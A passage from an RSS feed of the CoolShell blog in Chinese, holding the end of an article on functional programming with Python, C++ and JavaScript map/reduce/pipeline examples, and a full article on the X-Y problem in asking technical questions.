class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">def toUpper(item):\nreturn item.upper()\n\nupper_name = map(toUpper, [\"hao\", \"chen\", \"coolshell\"])\nprint upper_name\n# 输出 ['HAO', 'CHEN', 'COOLSHELL']</pre>\n<p>顺便说一下，上面的例子个是不是和我们的STL的transform有些像？</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">#include &lt;iostream&gt;\n#include &lt;algorithm&gt;\n#include &lt;string&gt;\nusing namespace std;\n\nint main() {\n    string s=\"hello\";\n    string out;\n    transform(s.begin(), s.end(), back_inserter(out), ::toupper);\n    cout &lt;&lt; out &lt;&lt; endl;\n    // 输出：HELLO\n}</pre>\n<p>在上面Python的那个例子中我们可以看到，我们写义了一个函数toUpper，这个函数没有改变传进来的值，只是把传进来的值做个简单的操作，然后返回。然后，我们把其用在map函数中，就可以很清楚地描述出我们想要干什么。而不会去理解一个在循环中的怎么实现的代码，最终在读了很多循环的逻辑后才发现原来是这个或那个意思。 下面，我们看看描述实现方法的过程式编程是怎么玩的（看上去是不是不如函数式的清晰？）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">upname =['HAO', 'CHEN', 'COOLSHELL']\nlowname =[]\nfor i in range(len(upname)):\nlowname.append( upname[i].lower() )</pre>\n<p>对于map我们别忘了lambda表达式：你可以简单地理解为这是一个inline的匿名函数。下面的lambda表达式相当于：def func(x): return x*x</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">squares = map(lambda x: x * x, range(9))\nprint squares\n# 输出 [0, 1, 4, 9, 16, 25, 36, 49, 64]</pre>\n<p>我们再来看看reduce怎么玩？（下面的lambda表达式中有两个参数，也就是说每次从列表中取两个值，计算结果后把这个值再放回去，下面的表达式相当于：<code>((((1+2)+3)+4)+5) ）</code></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">print reduce(lambda x, y: x+y, [1, 2, 3, 4, 5])\n# 输出 15</pre>\n<p>Python中的除了map和reduce外，还有一些别的如filter, find, all, any的函数做辅助（其它函数式的语言也有），可以让你的代码更简洁，更易读。 我们再来看一个比较复杂的例子：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\"># 计算数组中正数的平均值\",\nnum =[2, -5, 9, 7, -2, 5, 3, 1, 0, -3, 8]\npositive_num_cnt = 0\npositive_num_sum = 0\nfor i in range(len(num)):\n    if num[i] &gt; 0:\n        positive_num_cnt += 1\n        positive_num_sum += num[i]\n\nif positive_num_cnt &gt; 0:\n    average = positive_num_sum / positive_num_cnt\n\nprint average\n# 输出 5</pre>\n<p>如果用函数式编程，这个例子可以写成这样：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">positive_num = filter(lambda x: x&gt;0, num)\naverage = reduce(lambda x,y: x+y, positive_num) / len( positive_num )</pre>\n<p>C++11玩的法：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">#include &lt;iostream&gt;\n#include &lt;algorithm&gt;\n#include &lt;numeric&gt;\n#include &lt;string&gt;\n#include &lt;vector&gt;\nusing namespace std;\n\nvector num {2, -5, 9, 7, -2, 5, 3, 1, 0, -3, 8};\nvector p_num;\ncopy_if(num.begin(), num.end(), back_inserter(p_num), [](int i){ return (i&gt;0);} );\nint average = accumulate(p_num.begin(), p_num.end(), 0) / p_num.size();\ncout &lt;&lt; \"averge: \" &lt;&lt; average &lt;&lt; endl;</pre>\n<p>我们可以看到，函数式编程有如下好处：</p>\n<p style=\"padding-left: 30px;\">1）代码更简单了。<br />\n2）数据集，操作，返回值都放到了一起。<br />\n3）你在读代码的时候，没有了循环体，于是就可以少了些临时变量，以及变量倒来倒去逻辑。<br />\n4）你的代码变成了在描述你要干什么，而不是怎么去干。</p>\n<p>最后，我们来看一下Map/Reduce这样的函数是怎么来实现的（下面是Javascript代码）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">//map函数\nvar map = function (mappingFunction, list) {\n    var result = [];\n    forEach(list, function (item) {\n        result.push(mappingFunction(item));\n    });\n    return result;\n};</pre>\n<p>下面是reduce函数的javascript实现（谢谢 <a href=\"http://weibo.com/u/1772898707\" target=\"_blank\" rel=\"noopener noreferrer\">@下雨在家</a> 修正的我原来的简单版本）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">//reduce函数\nfunction reduce(actionFunction, list, initial){\n    var accumulate;\n    var temp;\n    if(initial){\n        accumulate = initial;\n    }else{\n        accumulate = list.shfit();\n    }\n    temp = list.shift();\n    while(temp){\n        accumulate = actionFunction(accumulate,temp);\n        temp = list.shift();\n    }\n    return accumulate;\n};</pre>\n<h4>Declarative Programming vs Imperative Programming</h4>\n<p>前面提到过多次的函数式编程关注的是：describe what to do, rather than how to do it. 于是，我们把以前的过程式的编程范式叫做 <a href=\"http://en.wikipedia.org/wiki/Imperative_programming\" target=\"_blank\" rel=\"noopener noreferrer\">Imperative Programming</a> &#8211; 指令式编程，而把函数式的这种范式叫做 <a href=\"http://en.wikipedia.org/wiki/Declarative_programming\" target=\"_blank\" rel=\"noopener noreferrer\">Declarative Programming</a> &#8211; 声明式编程。</p>\n<p>下面我们看一下相关的示例（本示例来自<a href=\"http://maryrosecook.com/post/a-practical-introduction-to-functional-programming\" target=\"_blank\" rel=\"noopener noreferrer\">这篇文章</a> ）。</p>\n<p>比如，我们有3辆车比赛，简单起见，我们分别给这3辆车有70%的概率可以往前走一步，一共有5次机会，我们打出每一次这3辆车的前行状态。</p>\n<p>对于Imperative Programming来说，代码如下（Python）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">from random import random\n\ntime = 5\ncar_positions = [1, 1, 1]\n\nwhile time:\n    # decrease time\n    time -= 1\n\n    print ''\n    for i in range(len(car_positions)):\n        # move car\n        if random() &gt; 0.3:\n            car_positions[i] += 1\n\n        # draw car\n        print '-' * car_positions[i]</pre>\n<p>我们可以把这个两重循环变成一些函数模块，这样有利于我们更容易地阅读代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">from random import random\ndef move_cars():\n    for i, _ in enumerate(car_positions):\n        if random() &gt; 0.3:\n            car_positions[i] += 1\ndef draw_car(car_position):\n    print '-' * car_position\ndef run_step_of_race():\n    global time\n    time -= 1\n    move_cars()\ndef draw():\n    print ''\n    for car_position in car_positions:\n        draw_car(car_position)\ntime = 5\ncar_positions = [1, 1, 1]\nwhile time:\n    run_step_of_race()\n    draw()</pre>\n<p>上面的代码，我们可以从主循环开始，我们可以很清楚地看到程序的主干，因为我们把程序的逻辑分成了几个函数，这样一来，我们的代码逻辑也会变得几个小碎片，于是我们读代码时要考虑的上下文就少了很多，阅读代码也会更容易。不像第一个示例，如果没有注释和说明，你还是需要花些时间理解一下。<strong>而把代码逻辑封装成了函数后，我们就相当于给每个相对独立的程序逻辑取了个名字，于是代码成了自解释的</strong>。</p>\n<p>但是，你会发现，封装成函数后，这些函数都会依赖于共享的变量来同步其状态。于是，我们在读代码的过程时，每当我们进入到函数里，一量读到访问了一个外部的变量，我们马上要去查看这个变量的上下文，然后还要在大脑里推演这个变量的状态， 我们才知道程序的真正逻辑。也就是说，<strong>这些函数间必需知道其它函数是怎么修改它们之间的共享变量的，所以，这些函数是有状态的</strong>。</p>\n<p>我们知道，有状态并不是一件很好的事情，无论是对代码重用，还是对代码的并行来说，都是有副作用的。因此，我们要想个方法把这些状态搞掉，于是出现了我们的 Functional Programming 的编程范式。下面，我们来看看函数式的方式应该怎么写？</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">from random import random\n\ndef move_cars(car_positions):\n    return map(lambda x: x + 1 if random() &gt; 0.3 else x,\n               car_positions)\n\ndef output_car(car_position):\n    return '-' * car_position\n\ndef run_step_of_race(state):\n    return {'time': state['time'] - 1,\n            'car_positions': move_cars(state['car_positions'])}\n\ndef draw(state):\n    print ''\n    print '\\n'.join(map(output_car, state['car_positions']))\n\ndef race(state):\n    draw(state)\n    if state['time']:\n        race(run_step_of_race(state))\n\nrace({'time': 5,\n      'car_positions': [1, 1, 1]})</pre>\n<p>上面的代码依然把程序的逻辑分成了函数，不过这些函数都是functional的。因为它们有三个症状：</p>\n<p style=\"padding-left: 30px;\">1）它们之间没有共享的变量。<br />\n2）函数间通过参数和返回值来传递数据。<br />\n3）在函数里没有临时变量。</p>\n<p>我们还可以看到，for循环被递归取代了（见race函数）—— 递归是函数式编程中带用到的技术，正如前面所说的，递归的本质就是描述问题是什么。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10900\" src=\"https://coolshell.cn/wp-content/uploads/2013/12/forrest-gump.jpg\" alt=\"\" width=\"490\" height=\"382\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/12/forrest-gump.jpg 490w, https://coolshell.cn/wp-content/uploads/2013/12/forrest-gump-300x233.jpg 300w\" sizes=\"(max-width: 490px) 100vw, 490px\" /></p>\n<h4>Pipeline</h4>\n<p>pipeline 管道借鉴于Unix Shell的管道操作——把若干个命令串起来，前面命令的输出成为后面命令的输入，如此完成一个流式计算。（注：管道绝对是一个伟大的发明，他的设哲学就是KISS &#8211; 让每个功能就做一件事，并把这件事做到极致，软件或程序的拼装会变得更为简单和直观。这个设计理念影响非常深远，包括今天的Web Service，云计算，以及大数据的流式计算等等）</p>\n<p>比如，我们如下的shell命令：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">ps auwwx | awk '{print $2}' | sort -n | xargs echo</pre>\n<p>如果我们抽象成函数式的语言，就像下面这样：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">xargs( echo, sort(n, awk('print $2', ps(auwwx))) )</pre>\n<p>也可以类似下面这个样子：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">pids = for_each(result, [ps_auwwx, awk_p2, sort_n, xargs_echo])</pre>\n<p>好了，让我们来看看函数式编程的Pipeline怎么玩？</p>\n<p>我们先来看一个如下的程序，这个程序的process()有三个步骤：</p>\n<p style=\"padding-left: 30px;\">1）找出偶数。<br />\n2）乘以3<br />\n3）转成字符串返回</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">def process(num):\n    # filter out non-evens\n    if num % 2 != 0:\n        return\n    num = num * 3\n    num = 'The Number: %s' % num\n    return num\n\nnums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\nfor num in nums:\n    print process(num)\n\n# 输出：\n# None\n# The Number: 6\n# None\n# The Number: 12\n# None\n# The Number: 18\n# None\n# The Number: 24\n# None\n# The Number: 30</pre>\n<p>我们可以看到，输出的并不够完美，另外，代码阅读上如果没有注释，你也会比较晕。下面，我们来看看函数式的pipeline（第一种方式）应该怎么写？</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">def even_filter(nums):\n    for num in nums:\n        if num % 2 == 0:\n            yield num\ndef multiply_by_three(nums):\n    for num in nums:\n        yield num * 3\ndef convert_to_string(nums):\n    for num in nums:\n        yield 'The Number: %s' % num\n\nnums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\npipeline = convert_to_string(multiply_by_three(even_filter(nums)))\nfor num in pipeline:\n    print num\n# 输出：\n# The Number: 6\n# The Number: 12\n# The Number: 18\n# The Number: 24\n# The Number: 30</pre>\n<p>我们动用了Python的关键字 yield，这个关键字主要是返回一个Generator，yield 是一个类似 return 的关键字，只是这个函数返回的是个Generator-生成器。所谓生成器的意思是，yield返回的是一个可迭代的对象，并没有真正的执行函数。也就是说，只有其返回的迭代对象被真正迭代时，yield函数才会正真的运行，运行到yield语句时就会停住，然后等下一次的迭代。（这个是个比较诡异的关键字）这就是lazy evluation。</p>\n<p>好了，根据前面的原则——“<strong>使用Map &amp; Reduce，不要使用循环</strong>”，那我们用比较纯朴的Map &amp; Reduce吧。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">def even_filter(nums):\n    return filter(lambda x: x%2==0, nums)\n\ndef multiply_by_three(nums):\n    return map(lambda x: x*3, nums)\n\ndef convert_to_string(nums):\n    return map(lambda x: 'The Number: %s' % x,  nums)\n\nnums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\npipeline = convert_to_string(\n               multiply_by_three(\n                   even_filter(nums)\n               )\n            )\nfor num in pipeline:\n    print num</pre>\n<p>但是他们的代码需要嵌套使用函数，这个有点不爽，如果我们能像下面这个样子就好了（第二种方式）。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">pipeline_func(nums, [even_filter,\n                     multiply_by_three,\n                     convert_to_string])</pre>\n<p>那么，pipeline_func 实现如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">def pipeline_func(data, fns):\n    return reduce(lambda a, x: x(a),\n                  fns,\n                  data)</pre>\n<p>好了，在读过这么多的程序后，你可以回头看一下这篇文章的开头对函数式编程的描述，可能你就更有感觉了。</p>\n<p>最后，<span style=\"color: #cc0000;\"><strong>我希望这篇浅显易懂的文章能让你感受到函数式编程的思想，就像OO编程，泛型编程，过程式编程一样，我们不用太纠结是不是我们的程序就是OO，就是functional的，我们重要的品味其中的味道</strong></span>。</p>\n<h4>参考</h4>\n<ul>\n<li>Wikipedia: <a href=\"http://en.wikipedia.org/wiki/Functional_programming\" target=\"_blank\" rel=\"noopener noreferrer\">Functional Programming</a></li>\n<li><a href=\"http://stackoverflow.com/questions/5226055/truly-understanding-the-difference-between-procedural-and-functional\" target=\"_blank\" rel=\"noopener noreferrer\">truly understanding the difference between procedural and functional</a></li>\n<li><a style=\"line-height: 1.5em;\" href=\"http://maryrosecook.com/post/a-practical-introduction-to-functional-programming\" target=\"_blank\" rel=\"bookmark noopener noreferrer\">A practical introduction to functional programming</a></li>\n<li><a href=\"http://stackoverflow.com/q/23277/211232\" target=\"_blank\" rel=\"noopener noreferrer\">What is the difference between procedural programming and functional programming?</a></li>\n<li><a href=\"http://stackoverflow.com/q/3249863/211232\" target=\"_blank\" rel=\"noopener noreferrer\">Can someone give me examples of functional programming vs imperative/procedural programming?</a></li>\n<li><a href=\"http://stackoverflow.com/q/552336/211232\" target=\"_blank\" rel=\"noopener noreferrer\">OOP vs Functional Programming vs Procedural</a></li>\n<li>Python &#8211; <a href=\"http://docs.python.org/2/howto/functional.html#\" target=\"_blank\" rel=\"noopener noreferrer\">Functional Programming HOWTO</a></li>\n</ul>\n<p><strong>补充</strong>：评论中<a title=\"redraiment\" href=\"http://weibo.com/redraiment\">redraiment</a>的<a href=\"https://coolshell.cn/articles/10822.html#comment-1111518\">这个评论</a>大家也可以读一读。</p>\n<p>感谢谢网友S142857 提供的shell风格的python pipeline：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">class Pipe(object):\n    def __init__(self, func):\n        self.func = func\n\n    def __ror__(self, other):\n        def generator():\n            for obj in other:\n                if obj is not None:\n                    yield self.func(obj)\n        return generator()\n\n@Pipe\ndef even_filter(num):\n    return num if num % 2 == 0 else None\n\n@Pipe\ndef multiply_by_three(num):\n    return num*3\n\n@Pipe\ndef convert_to_string(num):\n    return 'The Number: %s' % num\n\n@Pipe\ndef echo(item):\n    print item\n    return item\n\ndef force(sqs):\n    for item in sqs: pass\n\nnums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\nforce(nums | even_filter | multiply_by_three | convert_to_string | echo)</pre>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/06/go-hardhat-150x150.png\" alt=\"Go编程模式：修饰器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_title\">Go编程模式：修饰器</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10822.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>194</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>X-Y Problem</title>\n\t\t<link>https://coolshell.cn/articles/10804.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10804.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 16 Dec 2013 02:22:37 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Question]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10804</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>X-Y Problem 对于X-Y Problem的意思如下： 1）有人想解决问题X 2）他觉得Y可能是解决X问题的方法 3）但是他不知道Y应该怎么做 4）于是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10804.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10804.html\">X-Y Problem</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h4><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-10809\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/12/x-y.problem-231x300.jpg\" width=\"231\" height=\"300\" />X-Y Problem</h4>\n<p>对于X-Y Problem的意思如下：</p>\n<p>1）有人想解决问题X<br />\n2）他觉得Y可能是解决X问题的方法<br />\n3）但是他不知道Y应该怎么做<br />\n4）于是他去问别人Y应该怎么做？</p>\n<p>简而言之，<strong>没有去问怎么解决问题X，而是去问解决方案Y应该怎么去实现和操作</strong>。于是乎：</p>\n<p>1）热心的人们帮助并告诉这个人Y应该怎么搞，但是大家都觉得Y这个方案有点怪异。<br />\n2）在经过大量地讨论和浪费了大量的时间后，热心的人终于明白了原始的问题X是怎么一回事。<br />\n3）于是大家都发现，Y根本就不是用来解决X的合适的方案。</p>\n<p>X-Y Problem最大的严重的问题就是：<strong>在一个根本错误的方向上浪费他人大量的时间和精力</strong>！</p>\n<h4>示例</h4>\n<p>举个两个例子：</p>\n<blockquote><p>Q) 我怎么用Shell取得一个字符串的后3位字符？<br />\nA1) 如果这个字符的变量是$foo，你可以这样来 echo ${foo:-3}<br />\nA2) 为什么你要取后3位？你想干什么？<br />\nQ) 其实我就想取文件的扩展名<br />\nA1) 我靠，原来你要干这事，那我的方法不对，文件的扩展名并不保证一定有3位啊。<br />\nA1) 如果你的文件必然有扩展名的话，你可以这来样来：echo ${foo##*.}</p></blockquote>\n<p><span id=\"more-10804\"></span></p>\n<p>再来一个示例：</p>\n<blockquote><p>Q）问一下大家，我如何得到一个文件的大小<br />\nA1)  size = <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ls -l $file  | awk &#039;{print $5}&#039;</code><br />\nQ) 哦，要是这个文件名是个目录呢？<br />\nA2) 用du吧<br />\nA3) 不好意思，你到底是要文件的大小还是目录的大小？你到底要干什么？<br />\nQ)  我想把一个目录下的每个文件的每个块（第一个块有512个字节）拿出来做md5，并且计算他们的大小 ……<br />\nA1) 哦，你可以使用dd吧。<br />\nA2) dd不行吧。<br />\nA3) 你用md5来计算这些块的目的是什么？你究竟想干什么啊？<br />\nQ) 其实，我想写一个网盘，对于小文件就直接传输了，对于大文件我想分块做增量同步。<br />\nA2) 用rsync啊，你妹！</p></blockquote>\n<p><a href=\"http://www.perlmonks.org/index.pl?node_id=542341\" target=\"_blank\">这里有篇文章</a>说明了X-Y Problem的各种案例说明，我从其中摘出三个来让大家看看：</p>\n<blockquote><p>你试图做X，并想到了用Y方案。所以你去问别人Y，但根本不提X。于是，你可以会错过本来可能有更好更适合的方案，除非你告诉大家X是什么。</p>\n<p>— <i>from <a href=\"http://www.perlmonks.org/index.pl?node_id=430320\">Re: How do I keep the command line from eating the backslashes?</a> by <a href=\"http://www.perlmonks.org/index.pl?node_id=163683\">revdiablo</a></i></p></blockquote>\n<blockquote><p>有些人问怎么做Y，但其它他想做的是X。他问怎么做Y是因为他觉得Y是最好搞定X的方法。 于是大家不断地回答“试试这个，试试那个”来帮助他，而他总是在说“这个有问题，那个有问题，因为……”。基本不同的情况，其它的方案可能会更好。</p>\n<p>— <i>from <a href=\"http://www.perlmonks.org/index.pl?node_id=327963\">Re: Re: Re: Re: regex to validate e-mail addresses and phone numbers</a> by <a href=\"http://www.perlmonks.org/index.pl?node_id=180961\">Limbic~Region</a></i></p></blockquote>\n<blockquote><p>X-Y Problem又叫“过早下结论”：提问者其实并不非常清楚想要解决的X问题，他猜测用Y可以搞定，于是他问大家如何实现Y。</p>\n<p>— <i>from <a href=\"http://groups.google.com/groups?hl=en&amp;selm=Pine.GHP.4.21.0009061210570.8800-100000@hpplus03.cern.ch\">&lt;Pine.GHP.4.21.0009061210570.8800-100000@hpplus03.cern.ch&gt;</a> by Alan J. Flavell</i></p></blockquote>\n<p>其实这个问题在我之前的《<a title=\"你会问问题吗？\" href=\"https://coolshell.cn/articles/3713.html\" target=\"_blank\">你会问问题吗</a>》里提到的那篇How To Ask Questions the Smart Way中的提到过，你可以<a href=\"http://www.beiww.com/doc/oss/smart-questions.html#id265951\" target=\"_blank\">移步去看一下</a>。</p>\n<p>所以，我们在寻求别人帮助的时候，最好把我们想解决的问题和整个事情的来龙去脉说清楚。</p>\n<h4>一些变种</h4>\n<p>我们不要以为X-Y Problem就像上面那样的简单，我们不会出现，其实我们生活的这个世界有有各种X-Y Problem的变种。下面我个人觉得非常像XY Problem的总是：</p>\n<p style=\"padding-left: 30px;\">其一、大多数人有时候，非常容易把手段当目的，他们会用自己所喜欢的技术和方法来反推用户的需求，于是很有可能就会出现X-Y Problem &#8211; 也许解决用户需求最适合的技术方案是PC，但是我们要让他们用手机。</p>\n<p style=\"padding-left: 30px;\">其二、产品经理有时候并不清楚他想解决的用户需求是什么，于是他觉得可能开发Y的功能能够满足用户，于是他提出了Y的需求让技术人员去做，但那根本不是解决X问题的最佳方案。</p>\n<p style=\"padding-left: 30px;\">其三、因为公司或部门的一些战略安排，业务部门设计了相关的业务规划，然后这些业务规划更多的是公司想要的Y，而不是解决用户的X问题。</p>\n<p style=\"padding-left: 30px;\">其四、对于个人的职业发展，X是成长为有更强的技能和能力，这个可以拥有比别人更强的竞争力，从而可以有更好的报酬，但确走向了Y：全身心地追逐KPI。</p>\n<p style=\"padding-left: 30px;\">其五、本来我们想达成的X是做出更好和更有价值的产品，但最终走到了Y：通过各种手段提升安装量，点击量，在线量，用户量来衡量。</p>\n<p style=\"padding-left: 30px;\">其六、很多团队Leader都喜欢制造信息不平等，并不告诉团队某个事情的来由，掩盖X，而直接把要做的Y告诉团队，导致团队并不真正地理解，而产生了很多时间和经历的浪费。</p>\n<p>所有的这些，在我心中都是X-Y Problem的变种，这是不是一种刻舟求剑的表现？</p>\n<h4>参考</h4>\n<ul>\n<li><a href=\"http://meta.stackoverflow.com/questions/66377/what-is-the-xy-problem\" target=\"_blank\">StackOverflow: What is XY Problem?</a></li>\n<li><a href=\"http://www.perlmonks.org/?node_id=542341\" target=\"_blank\">PerlMonks: XY Problem</a></li>\n<li><a href=\"http://mywiki.wooledge.org/XyProblem\" target=\"_blank\">Greg&#8217;s Wiki</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3713.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"你会问问题吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3713.html\" class=\"wp_rp_title\">你会问问题吗？</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10804.html\">X-Y Problem</a> 